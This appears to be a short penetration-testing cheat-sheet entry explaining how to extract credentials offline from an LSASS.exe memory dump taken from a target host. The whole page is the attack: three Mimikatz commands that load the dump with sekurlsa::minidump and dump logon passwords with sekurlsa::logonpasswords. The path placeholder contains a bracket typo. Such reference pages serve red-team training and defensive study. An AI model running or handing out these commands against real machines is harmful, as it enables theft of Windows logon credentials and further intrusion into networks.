Extract credentials from LSASS dump
Mimikatz
Following extracting a dump of LSASS.exe from the target host, use mimikatz to extract credentials offline.
> mimikatz.exe #Open mimikatz
> sekurlsa::minidump {Path]\lsass.DMP #Set context to dump
> sekurlsa::logonpasswords #extract credentials
Last updated
Was this helpful?